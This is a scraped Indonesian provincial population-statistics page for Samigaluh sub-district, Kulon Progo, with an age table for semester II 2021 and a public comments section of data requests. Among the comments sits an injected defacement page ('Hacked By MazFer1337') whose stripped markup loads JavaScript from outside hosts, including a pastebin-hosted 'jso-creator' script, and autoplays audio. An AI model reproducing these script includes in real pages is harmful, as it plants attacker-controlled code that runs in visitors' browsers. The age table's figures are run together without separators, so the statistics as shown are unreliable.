Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN SAMIGALUH, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaKEBONHARJOBANJARSARIPURWOHARJOSIDOHARJOGERBOSARINGARGOSARIPAGERHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun1918 371932 512830 585153 1044244 863243 754838 86239 258 497
2 tahun89 171714 312715 422726 532423 471623 392132 53140 142 282
3 tahun1015 251816 343019 492639 653118 493019 493621 57181 147 328
4 tahun136 191615 311718 353032 623321 543235 673333 66174 160 334
5 tahun1613 292212 342625 513529 642339 623319 523125 56186 162 348
6 tahun1011 212018 381322 354024 643221 534223 653934 73196 153 349
7 tahun1711 282013 331621 373832 703627 632324 473226 58182 154 336
8 tahun1010 201418 322115 363035 652317 402628 543630 66160 153 313
9 tahun1513 282721 482318 413224 563535 703127 582832 60191 170 361
10 tahun1411 251717 342128 493040 702331 542930 593422 56168 179 347
11 tahun1714 311816 342420 443921 603831 693130 613827 65205 159 364
12 tahun1212 242522 471821 393532 673939 782934 633927 66197 187 384
13 tahun1115 262118 392320 433434 682827 552827 553433 67179 174 353
14 tahun1321 342523 483027 573734 712427 513327 603835 73200 194 394
15 tahun1811 292423 472433 573043 733440 743435 693729 66201 214 415
16 tahun1515 302625 512020 403039 692825 532619 452726 53172 169 341
17 tahun2316 393017 473229 613543 783628 643331 644431 75233 195 428
18 tahun1123 342621 472119 404226 682123 442429 534341 84188 182 370
19 tahun1012 223222 542427 513839 773939 783529 642844 72206 212 418
20 tahun2018 382520 452735 623431 653134 652824 523135 66196 197 393
21 tahun1715 322625 512919 484445 893029 592625 514423 67216 181 397
22 tahun2220 423420 542628 543930 694536 812724 514131 72234 189 423
23 tahun2626 521320 332215 374653 993434 682229 514831 79211 208 419
24 tahun1510 252317 403027 574339 822938 672734 614746 93214 211 425
25 tahun1517 323234 663925 645251 1034223 653530 653731 68252 211 463
26 tahun1213 252727 541526 414519 643225 572727 544638 84204 175 379
27 tahun2215 372325 483122 534321 643333 663117 483737 74220 170 390
28 tahun1214 262424 483232 642336 593028 582430 543338 71178 202 380
29 tahun2011 311920 392316 394241 833133 642632 583331 64194 184 378
30 tahun1310 231916 351622 382939 682828 561925 443631 67160 171 331
31 tahun1311 241517 321913 323126 571919 381620 362529 54138 135 273
32 tahun1214 261811 291521 362132 533029 592023 432727 54143 157 300
33 tahun818 26139 221313 262624 503025 552922 512726 53146 137 283
34 tahun1113 241711 281621 373618 543524 592021 412620 46161 128 289
35 tahun1213 251815 331715 323131 622828 562334 572624 50155 160 315
36 tahun1814 321218 302617 432624 503122 532230 522531 56160 156 316
37 tahun1413 272119 401817 353531 663032 622925 542827 55175 164 339
38 tahun1116 271519 342315 383927 663433 672928 573031 61181 169 350
39 tahun127 191517 321626 422835 633122 532329 522432 56149 168 317
40 tahun815 231716 331922 414435 792931 602837 652828 56173 184 357
41 tahun1714 311116 272322 453537 722831 592931 602528 53168 179 347
42 tahun2412 361529 441930 493136 673532 673123 542923 52184 185 369
43 tahun1512 272623 493529 643538 732434 582419 433641 77195 196 391
44 tahun1113 241414 282319 424237 792425 493131 623132 63176 171 347
45 tahun1818 362828 562021 413233 651932 513323 562936 65179 191 370
46 tahun1719 362322 453023 533441 753627 632433 573437 71198 202 400
47 tahun1716 332422 462029 493741 783428 622833 613839 77198 208 406
48 tahun1114 251615 312434 583148 793129 603044 742540 65168 224 392
49 tahun2116 373234 662933 623829 674056 962426 505034 84234 228 462
50 tahun1318 311912 312319 423925 643130 612324 473442 76182 170 352
51 tahun1212 241622 382823 512336 593530 653521 563826 64187 170 357
52 tahun2718 452724 512931 603449 833737 743834 724833 81240 226 466
53 tahun2020 403421 552714 413237 693943 822633 594042 82218 210 428
54 tahun919 282827 553236 684828 762730 573724 613035 65211 199 410
55 tahun1210 221915 342624 503135 663832 701528 433531 66176 175 351
56 tahun925 342226 482527 523432 662760 873328 613030 60180 228 408
57 tahun1419 332333 562021 411933 523035 652518 432734 61158 193 351
58 tahun1216 281624 402924 533035 652725 521530 452934 63158 188 346
59 tahun1516 311921 402125 463424 583629 652629 552835 63179 179 358
60 tahun1720 372313 362124 453121 522927 562523 483025 55176 153 329
61 tahun2113 341830 483621 573246 783026 562245 672640 66185 221 406
62 tahun1624 403418 522330 533724 614528 733833 713133 64224 190 414
63 tahun1317 301816 342322 452232 542448 721723 403238 70149 196 345
64 tahun1813 311913 321424 382032 523728 652630 562722 49161 162 323
65 tahun1212 241213 251822 402735 622931 601919 382034 54137 166 303
66 tahun169 251624 401523 383840 782232 543027 571922 41156 177 333
67 tahun1820 381517 321922 413239 712820 482621 473424 58172 163 335
68 tahun1618 341112 231010 202923 522221 431416 302625 51128 125 253
69 tahun1015 251624 401523 382222 442736 631819 373026 56138 165 303
70 tahun89 17911 20714 212115 362015 352013 331412 2699 89 188
71 tahun196 25914 231117 282530 551320 331615 311917 36112 119 231
72 tahun1413 271417 311117 283320 531528 431716 331522 37119 133 252
73 tahun710 17616 221612 281218 301918 37910 191217 2981 101 182
74 tahun38 11118 191412 261826 441417 311013 231122 3381 106 187
75 tahun77 14513 181021 311213 251010 201015 251318 3167 97 164
76 tahun610 16915 241212 241919 381816 34519 241119 3080 110 190
77 tahun1012 221120 31911 201212 24918 271412 261523 3880 108 188
78 tahun73 10815 23710 17419 231112 231012 221323 3660 94 154
79 tahun128 201119 301218 301617 332120 41107 172018 38102 107 209
80 ke atas3146 775575 1304185 12689101 19061104 1656678 14410082 182443 571 1.014
Jumlah1.1501.1592.3091.5851.5943.1791.7371.8083.5452.6062.6115.2172.3532.3814.7342.0472.0964.1432.5192.4474.966 13.997 14.096 28.093
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih